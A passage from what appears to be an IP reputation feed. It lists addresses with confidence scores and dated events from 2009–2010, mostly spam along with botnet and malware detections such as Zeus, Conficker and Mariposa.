 6 09:59:00 2009 GMT\r\n\r\nIP : 20.64.59.66\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 20.64.60.74\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 18 09:59:00 2009 GMT\r\n\r\nIP : 20.40.64.108\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 00:59:00 2009 GMT\r\n\r\nIP : 20.76.69.84\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb  3 06:59:00 2009 GMT\r\n\r\nIP : 20.28.78.233\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 24 02:59:00 2009 GMT\r\n\r\nIP : 20.100.73.25\r\nConfidence : 14.578232%\r\nEvents : \r\n	Spam : Fri Jan  8 15:59:00 2010 GMT\r\n\r\nIP : 20.174.80.68\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 16:59:00 2009 GMT\r\n\r\nIP : 20.174.80.184\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 16 12:59:00 2009 GMT\r\n\r\nIP : 20.222.79.60\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 20.160.72.208\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 17:59:00 2009 GMT\r\n\r\nIP : 20.234.91.15\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 01:59:00 2009 GMT\r\n\r\nIP : 20.148.80.14\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 13:59:00 2009 GMT\r\n\r\nIP : 20.28.90.1\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 26 11:59:00 2009 GMT\r\n\r\nIP : 20.64.89.249\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 08:59:00 2009 GMT\r\n\r\nIP : 20.148.91.249\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 18:59:00 2009 GMT\r\n\r\nIP : 20.88.83.252\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 20.124.87.197\r\nConfidence : 60.211675%\r\nEvents : \r\n	Spam : Thu Apr 22 10:59:00 2010 GMT\r\n\r\nIP : 20.136.89.129\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  1 09:59:00 2009 GMT\r\n\r\nIP : 20.28.108.154\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 01:59:00 2009 GMT\r\n\r\nIP : 20.124.98.215\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 18:59:00 2009 GMT\r\n\r\nIP : 20.234.116.93\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 07:59:00 2009 GMT\r\n\r\nIP : 20.100.103.253\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 08:59:00 2009 GMT\r\n\r\nIP : 20.234.120.222\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 24 01:59:00 2009 GMT\r\n\r\nIP : 20.246.109.242\r\nConfidence : 21.689829%\r\nEvents : \r\n	Spam : Mon Feb  1 03:59:00 2010 GMT\r\n\r\nIP : 20.52.123.4\r\nConfidence : 15.562924%\r\nEvents : \r\n	Spam : Mon Jan 11 23:59:00 2010 GMT\r\n\r\nIP : 20.28.119.170\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  8 02:59:00 2009 GMT\r\n\r\nIP : 20.174.119.62\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Apr 28 16:59:00 2009 GMT\r\n\r\nIP : 20.17.16.165\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Jan 15 23:59:00 2009 GMT\r\n\r\nIP : 20.76.119.90\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan 27 08:59:00 2009 GMT\r\n\r\nIP : 20.186.121.107\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Oct 11 13:59:00 2009 GMT\r\n\r\nIP : 20.222.120.204\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 12 00:59:00 2009 GMT\r\n\r\nIP : 20.124.114.159\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 20.100.119.0\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 06:59:00 2009 GMT\r\n\r\nIP : 20.186.128.235\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan 13 03:59:00 2009 GMT\r\n\r\nIP : 20.76.128.64\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 13:59:00 2009 GMT\r\n\r\nIP : 20.174.132.200\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 16:59:00 2009 GMT\r\n\r\nIP : 20.76.134.130\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 05:59:00 2009 GMT\r\n\r\nIP : 20.52.146.28\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 17:59:00 2009 GMT\r\n\r\nIP : 20.64.132.168\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 17:59:00 2009 GMT\r\n\r\nIP : 20.160.129.80\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 20 01:59:00 2009 GMT\r\n\r\nIP : 20.52.150.32\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 18 18:59:00 2009 GMT\r\n\r\nIP : 20.160.132.118\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 02:59:00 2009 GMT\r\n\r\nIP : 20.222.141.76\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 08:59:00 2009 GMT\r\n\r\nIP : 20.100.138.200\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 08:59:00 2009 GMT\r\n\r\nIP : 20.100.139.109\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 15:59:00 2009 GMT\r\n\r\nIP : 20.40.141.188\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 20.28.150.131\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 01:59:00 2009 GMT\r\n\r\nIP : 20.210.154.60\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 08:59:00 2009 GMT\r\n\r\nIP : 20.160.143.140\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 02:59:00 2009 GMT\r\n\r\nIP : 20.222.156.196\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 18 20:59:00 2009 GMT\r\n\r\nIP : 20.246.158.229\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 04:59:00 2009 GMT\r\n\r\nIP : 20.64.156.226\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 20 01:59:00 2009 GMT\r\n\r\nIP : 20.148.164.127\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 00:59:00 2009 GMT\r\n\r\nIP : 20.100.162.47\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 19:59:00 2009 GMT\r\n\r\nIP : 20.40.165.88\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Aug 19 19:59:00 2009 GMT\r\n\r\nIP : 20.198.164.7\r\nConfidence : 62.169218%\r\nEvents : \r\n	Spam : Wed Apr 28 16:59:00 2010 GMT\r\n\r\nIP : 20.64.165.121\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan 27 09:59:00 2009 GMT\r\n\r\nIP : 20.76.171.84\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 03:59:00 2009 GMT\r\n\r\nIP : 20.136.168.188\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 04:59:00 2009 GMT\r\n\r\nIP : 20.64.175.216\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 11 13:59:00 2009 GMT\r\n\r\nIP : 20.64.177.235\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 21:59:00 2009 GMT\r\n\r\nIP : 20.160.176.191\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan  3 01:59:00 2009 GMT\r\n\r\nIP : 20.64.180.88\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 17 07:59:00 2009 GMT\r\n\r\nIP : 20.210.195.30\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 20.17.91.244\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan 10 10:59:00 2009 GMT\r\n\r\nIP : 20.100.192.182\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 10 22:59:00 2009 GMT\r\n\r\nIP : 20.88.191.164\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 20.52.214.124\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 06:59:00 2009 GMT\r\n\r\nIP : 20.88.196.76\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 22 12:59:00 2009 GMT\r\n\r\nIP : 20.222.206.143\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 12:59:00 2009 GMT\r\n\r\nIP : 20.160.198.236\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 15:59:00 2009 GMT\r\n\r\nIP : 20.52.219.161\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb  6 20:59:00 2009 GMT\r\n\r\nIP : 20.136.209.126\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 21 04:59:00 2009 GMT\r\n\r\nIP : 20.112.205.227\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 21:59:00 2009 GMT\r\n\r\nIP : 20.112.207.120\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 23 08:59:00 2009 GMT\r\n\r\nIP : 20.40.216.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 12:59:00 2009 GMT\r\n\r\nIP : 20.174.218.130\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 20.88.217.168\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 09:59:00 2009 GMT\r\n\r\nIP : 20.160.218.243\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 13:59:00 2009 GMT\r\n\r\nIP : 20.112.228.115\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 17:59:00 2009 GMT\r\n\r\nIP : 20.52.246.79\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 06:59:00 2009 GMT\r\n\r\nIP : 20.100.236.28\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 23 23:59:00 2009 GMT\r\n\r\nIP : 20.52.249.16\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan  2 14:59:00 2009 GMT\r\n\r\nIP : 20.246.237.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 20.52.252.59\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 22:59:00 2009 GMT\r\n\r\nIP : 20.40.243.104\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 22:59:00 2009 GMT\r\n\r\nIP : 20.112.238.52\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 03:59:00 2009 GMT\r\n\r\nIP : 20.17.143.135\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 16 02:59:00 2009 GMT\r\n\r\nIP : 20.246.246.191\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 15 22:59:00 2009 GMT\r\n\r\nIP : 20.64.254.98\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 17 02:59:00 2009 GMT\r\n\r\nIP : 20.17.156.122\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 11 07:59:00 2009 GMT\r\n\r\nIP : 20.137.2.51\r\nConfidence : 98.191551%\r\nEvents : \r\n	Zeus : Mon Mar 29 14:14:33 2010 GMT\r\n	Unknown : Wed Jun 23 16:53:36 2010 GMT\r\n	Conficker A/B : Sat Mar 27 15:55:59 2010 GMT\r\n\r\nIP : 20.137.7.64\r\nConfidence : 24.481797%\r\nEvents : \r\n	Conficker A/B : Thu Feb 11 18:30:50 2010 GMT\r\n\r\nIP : 20.211.22.185\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 20 02:59:00 2009 GMT\r\n\r\nIP : 20.137.10.50\r\nConfidence : 10%\r\nEvents : \r\n	Conficker A/B : Wed Apr 22 16:27:38 2009 GMT\r\n\r\nIP : 20.223.21.202\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 20.137.14.50\r\nConfidence : 98.03207%\r\nEvents : \r\n	Unknown : Wed Jun 23 16:49:44 2010 GMT\r\n\r\nIP : 20.235.32.60\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  9 09:59:00 2009 GMT\r\n\r\nIP : 20.137.18.52\r\nConfidence : 99.943859%\r\nEvents : \r\n	Zeus : Tue Mar  9 18:03:40 2010 GMT\r\n	Unknown : Fri Jun 25 18:18:15 2010 GMT\r\n\r\nIP : 20.137.18.53\r\nConfidence : 26.246373%\r\nEvents : \r\n	Zeus : Thu Feb 18 02:26:53 2010 GMT\r\n	Conficker A/B : Mon Mar 16 21:59:11 2009 GMT\r\n\r\nIP : 20.137.20.40\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 12 22:59:00 2009 GMT\r\n\r\nIP : 20.89.24.73\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 07:59:00 2009 GMT\r\n\r\nIP : 20.77.31.165\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 23 16:59:00 2009 GMT\r\n\r\nIP : 20.137.30.50\r\nConfidence : 10%\r\nEvents : \r\n	Conficker A/B : Sun Sep 20 05:30:36 2009 GMT\r\n\r\nIP : 20.137.30.51\r\nConfidence : 97.863478%\r\nEvents : \r\n	Unknown : Wed Jun 23 16:46:36 2010 GMT\r\n	Conficker A/B : Thu Apr  8 14:14:56 2010 GMT\r\n\r\nIP : 20.53.48.198\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 06:59:00 2009 GMT\r\n\r\nIP : 20.113.34.143\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 01:59:00 2009 GMT\r\n\r\nIP : 20.125.36.215\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb  4 11:59:00 2009 GMT\r\n\r\nIP : 20.187.53.130\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 18 06:59:00 2009 GMT\r\n\r\nIP : 20.77.48.180\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar  6 06:59:00 2009 GMT\r\n\r\nIP : 20.187.55.142\r\nConfidence : 21.038565%\r\nEvents : \r\n	Spam : Sun Jan 31 02:59:00 2010 GMT\r\n\r\nIP : 20.101.49.135\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 20.53.64.59\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 06:59:00 2009 GMT\r\n\r\nIP : 20.53.64.158\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Sep 12 09:59:00 2009 GMT\r\n\r\nIP : 20.149.56.211\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 14:59:00 2009 GMT\r\n\r\nIP : 20.137.52.231\r\nConfidence : 10%\r\nEvents : \r\n	Conficker A/B : Mon May 18 08:16:01 2009 GMT\r\n\r\nIP : 20.187.67.70\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Nov  6 11:59:00 2009 GMT\r\n\r\nIP : 20.41.62.28\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 11:59:00 2009 GMT\r\n\r\nIP : 20.89.58.183\r\nConfidence : 65.058867%\r\nEvents : \r\n	Spam : Sat May  8 17:59:00 2010 GMT\r\n\r\nIP : 20.149.70.59\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 20:59:00 2009 GMT\r\n\r\nIP : 20.89.64.221\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  8 04:59:00 2009 GMT\r\n\r\nIP : 20.77.75.30\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 03:59:00 2009 GMT\r\n\r\nIP : 20.137.75.64\r\nConfidence : 31.619955%\r\nEvents : \r\n	Conficker A/B : Wed Mar 10 16:42:27 2010 GMT\r\n\r\nIP : 20.247.81.53\r\nConfidence : 90.65954%\r\nEvents : \r\n	Spam : Tue Jun 22 00:59:00 2010 GMT\r\n\r\nIP : 20.113.81.206\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 06:59:00 2009 GMT\r\n\r\nIP : 20.113.92.24\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 25 17:59:00 2009 GMT\r\n\r\nIP : 20.247.102.126\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Aug 18 04:59:00 2009 GMT\r\n\r\nIP : 20.65.104.108\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 08:59:00 2009 GMT\r\n\r\nIP : 20.53.124.43\r\nConfidence : 27.945767%\r\nEvents : \r\n	Spam : Wed Feb 24 20:59:00 2010 GMT\r\n\r\nIP : 20.223.126.156\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 11 06:59:00 2009 GMT\r\n\r\nIP : 20.175.124.156\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 09:59:00 2009 GMT\r\n\r\nIP : 20.223.132.173\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 13:59:00 2009 GMT\r\n\r\nIP : 20.101.128.96\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 01:59:00 2009 GMT\r\n\r\nIP : 20.235.142.15\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 06:59:00 2009 GMT\r\n\r\nIP : 20.211.140.176\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 16:59:00 2009 GMT\r\n\r\nIP : 20.41.135.168\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Dec 16 07:59:00 2009 GMT\r\n\r\nIP : 20.175.137.100\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 13:59:00 2009 GMT\r\n\r\nIP : 20.125.141.163\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 18:59:00 2009 GMT\r\n\r\nIP : 20.41.156.223\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 07:59:00 2009 GMT\r\n\r\nIP : 20.18.55.192\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 18:59:00 2009 GMT\r\n\r\nIP : 20.199.154.192\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 20.137.162.50\r\nConfidence : 99.996156%\r\nEvents : \r\n	Unknown : Tue Jun 22 19:12:26 2010 GMT\r\n	Conficker A/B : Sun Jun 27 04:10:18 2010 GMT\r\n\r\nIP : 20.125.164.220\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 12 17:59:00 2009 GMT\r\n\r\nIP : 20.89.164.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 07:59:00 2009 GMT\r\n\r\nIP : 20.235.183.215\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 03:59:00 2009 GMT\r\n\r\nIP : 20.211.185.63\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 13:59:00 2009 GMT\r\n\r\nIP : 20.101.175.193\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 02:59:00 2009 GMT\r\n\r\nIP : 20.211.188.127\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 06:59:00 2009 GMT\r\n\r\nIP : 20.137.175.159\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 10:59:00 2009 GMT\r\n\r\nIP : 20.29.191.186\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 17 15:59:00 2009 GMT\r\n\r\nIP : 20.53.199.252\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar  7 06:59:00 2009 GMT\r\n\r\nIP : 20.161.187.251\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 21:59:00 2009 GMT\r\n\r\nIP : 20.77.192.19\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 06:59:00 2009 GMT\r\n\r\nIP : 20.125.192.76\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 22:59:00 2009 GMT\r\n\r\nIP : 20.149.198.151\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 20 10:59:00 2009 GMT\r\n\r\nIP : 20.125.194.33\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 14 06:59:00 2009 GMT\r\n\r\nIP : 20.29.206.173\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Oct 16 19:59:00 2009 GMT\r\n\r\nIP : 20.175.208.72\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 23:59:00 2009 GMT\r\n\r\nIP : 20.77.202.2\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 16:59:00 2009 GMT\r\n\r\nIP : 20.89.200.93\r\nConfidence : 10.246998%\r\nEvents : \r\n	Spam : Mon Dec 28 13:59:00 2009 GMT\r\n\r\nIP : 20.187.216.149\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 14 11:59:00 2009 GMT\r\n\r\nIP : 20.247.210.37\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Nov 27 09:59:00 2009 GMT\r\n\r\nIP : 20.223.221.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 07:59:00 2009 GMT\r\n\r\nIP : 20.53.228.56\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 14 11:59:00 2009 GMT\r\n\r\nIP : 20.65.215.79\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 23:59:00 2009 GMT\r\n\r\nIP : 20.137.216.64\r\nConfidence : 90.889213%\r\nEvents : \r\n	Unknown : Tue Jun 22 21:30:38 2010 GMT\r\n	Agobot : Wed Feb 10 12:59:00 2010 GMT\r\n	Conficker A/B : Thu Apr  2 17:25:06 2009 GMT\r\n\r\nIP : 20.113.214.131\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 06:59:00 2009 GMT\r\n\r\nIP : 20.149.222.189\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 16:59:00 2009 GMT\r\n\r\nIP : 20.77.219.244\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 17 06:59:00 2009 GMT\r\n\r\nIP : 20.199.219.52\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 10:59:00 2009 GMT\r\n\r\nIP : 20.211.239.2\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 15:59:00 2009 GMT\r\n\r\nIP : 20.89.224.16\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Jan  1 21:59:00 2009 GMT\r\n\r\nIP : 20.175.237.95\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 20.29.240.94\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 20:59:00 2009 GMT\r\n\r\nIP : 20.247.233.20\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Aug 15 06:59:00 2009 GMT\r\n\r\nIP : 20.187.242.6\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Sep 24 12:59:00 2009 GMT\r\n\r\nIP : 20.211.243.52\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 12 08:59:00 2009 GMT\r\n\r\nIP : 20.54.0.96\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan  7 00:59:00 2009 GMT\r\n\r\nIP : 20.137.244.81\r\nConfidence : 65.695807%\r\nEvents : \r\n	Spam : Tue May 11 22:59:00 2010 GMT\r\n\r\nIP : 20.212.0.68\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 11 16:59:00 2009 GMT\r\n\r\nIP : 20.224.1.88\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 08:59:00 2009 GMT\r\n\r\nIP : 20.224.2.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 12 17:59:00 2009 GMT\r\n\r\nIP : 20.18.151.187\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 16:59:00 2009 GMT\r\n\r\nIP : 20.162.0.172\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 11:59:00 2009 GMT\r\n\r\nIP : 20.66.2.139\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 14 12:59:00 2009 GMT\r\n\r\nIP : 20.138.1.245\r\nConfidence : 27.663577%\r\nEvents : \r\n	Zeus : Wed Feb 24 16:40:38 2010 GMT\r\n	Conficker A/B : Wed Jul 15 06:13:10 2009 GMT\r\n\r\nIP : 20.150.5.76\r\nConfidence : 68.474582%\r\nEvents : \r\n	Spam : Fri May 21 22:59:00 2010 GMT\r\n\r\nIP : 20.236.20.124\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 18 13:59:00 2009 GMT\r\n\r\nIP : 20.66.10.77\r\nConfidence : 14.630982%\r\nEvents : \r\n	Spam : Mon Jan 11 11:59:00 2010 GMT\r\n\r\nIP : 20.188.21.255\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 20.30.22.205\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 20 22:59:00 2009 GMT\r\n\r\nIP : 20.138.18.50\r\nConfidence : 27.629634%\r\nEvents : \r\n	Zeus : Wed Feb 24 16:35:08 2010 GMT\r\n\r\nIP : 20.114.16.16\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 11 15:59:00 2009 GMT\r\n\r\nIP : 20.200.16.215\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 11:59:00 2009 GMT\r\n\r\nIP : 20.114.17.10\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 05:59:00 2009 GMT\r\n\r\nIP : 20.138.20.231\r\nConfidence : 99.999341%\r\nEvents : \r\n	Zeus : Tue Mar  9 10:56:00 2010 GMT\r\n	Unknown : Fri Jun 25 16:25:33 2010 GMT\r\n	Conficker A/B : Mon Jun 28 00:42:04 2010 GMT\r\n\r\nIP : 20.138.22.64\r\nConfidence : 33.042515%\r\nEvents : \r\n	Zeus : Wed Mar 17 12:43:29 2010 GMT\r\n\r\nIP : 20.66.25.255\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 09:59:00 2009 GMT\r\n\r\nIP : 20.42.30.118\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar  7 06:59:00 2009 GMT\r\n\r\nIP : 20.30.40.1\r\nConfidence : 70.089275%\r\nEvents : \r\n	Mariposa : Fri May 28 12:42:19 2010 GMT\r\n\r\nIP : 20.30.40.14\r\nConfidence : 60.413005%\r\nEvents : \r\n	PoisonIvy : Sun Apr 25 17:59:00 2010 GMT\r\n\r\nIP : 20.30.40.39\r\nConfidence : 67.184477%\r\nEvents : \r\n	Mariposa : Mon May 17 08:42:54 2010 GMT\r\n\r\nIP : 20.30.40.61\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Apr 16 12:59:00 2009 GMT\r\n\r\nIP : 20.30.40.136\r\nConfidence : 68.053189%\r\nEvents : \r\n	Mariposa : Thu May 20 13:21:39 2010 GMT\r\n\r\nIP : 20.30.40.163\r\nConfidence : 64.278799%\r\nEvents : \r\n	Kraken : Fri May  7 13:09:08 2010 GMT\r\n\r\nIP : 20.66.33.208\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Nov  7 10:59:00 2009 GMT\r\n\r\nIP : 20.30.42.222\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb  5 01:59:00 2009 GMT\r\n\r\nIP : 20.188.45.193\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 20.176.44.24\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 03:59:00 2009 GMT\r\n\r\nIP : 20.30.45.93\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 12 16:59:00 2009 GMT\r\n\r\nIP : 